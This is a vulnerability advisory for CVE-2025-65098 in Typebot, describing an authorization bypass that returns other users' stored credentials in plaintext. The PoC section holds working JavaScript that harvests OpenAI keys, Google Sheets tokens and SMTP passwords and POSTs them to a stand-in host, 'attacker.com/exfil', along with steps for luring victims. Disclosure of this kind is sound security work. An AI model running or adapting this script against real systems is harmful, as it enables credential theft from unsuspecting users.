CVE-2025-65098
HIGH7.4EPSS 0.02%Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass
Description
### Summary Client-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking "Run", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership --- ### Details The Script block with "Execute on client" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials: ```http GET /api/trpc/credentials.getCredentials?input={"json":{"scope":"user","credentialsId":"cm6sofgv200085ms9d2qyvgwc"}} Response: { "result": { "data": { "json": { "name": "My OpenAI Key", "data": { "apiKey": "sk-proj-abc123...xyz789" } } } } } ``` The endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs. Vulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts` --- ### PoC Here's how to reproduce: 1. Create a new typebot in the Builder 2. Add a Script block and enable "Execute on client" 3. Paste this code: ```javascript const exfil = async () => { const data = { credentials: [] }; const list = await fetch( "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" + encodeURIComponent(JSON.stringify({ json: { scope: "user" } })), { credentials: "include" } ); const creds = (await list.json()).result?.data?.json?.credentials || []; for (const c of creds) { const full = await fetch( "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { scope: "user", credentialsId: c.id } }) ), { credentials: "include" } ); const d = await full.json(); data.credentials.push({ name: d.result.data.json.name, type: c.type, apiKey: d.result.data.json.data.apiKey, fullData: d.result.data.json.data, }); } const ws = await fetch( "https://app.typebot.io/api/trpc/workspace.listWorkspaces", { credentials: "include" } ); const workspaces = (await ws.json()).result.data.json.workspaces; for (const w of workspaces) { const wsList = await fetch( "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { workspaceId: w.id, scope: "workspace" } }) ), { credentials: "include" } ); const wsCreds = (await wsList.json()).result?.data?.json?.credentials || []; for (const c of wsCreds) { const full = await fetch( "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" + encodeURIComponent( JSON.stringify({ json: { workspaceId: w.id, scope: "workspace", credentialsId: c.id, }, }) ), { credentials: "include" } ); const d = await full.json(); data.credentials.push({ workspace: w.name, name: d.result.data.json.name, type: c.type, fullData: d.result.data.json.data, }); } } await fetch("https://attacker.com/exfil", { method: "POST", body: JSON.stringify(data), }); }; await exfil(); ``` 4. Share typebot with victim 5. When victim clicks "Run" to preview, script executes 6. All credentials exfiltrated in plaintext: ```json { "credentials": [ { "name": "My OpenAI", "type": "openai", "apiKey": "sk-proj-abc123...", "fullData": { "apiKey": "sk-proj-abc123..." } }, { "workspace": "Company Workspace", "name": "Google Sheets", "type": "google-sheets", "fullData": { "refresh_token": "1//0gHdP...", "access_token": "ya29.a0..." } } ] } ``` --- ### Impact All Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials. Example: Attacker creates a "Customer Feedback Template" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials. Root causes: - Client-side scripts execute with victim's authenticated session - API returns plaintext credentials without ownership verification - No user warnings or consent prompts - Exploitable with free tier account CWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)
Affected packages (1)
- npm/@typebot.io/jsfrom 0, < 0.9.15
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.4 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N |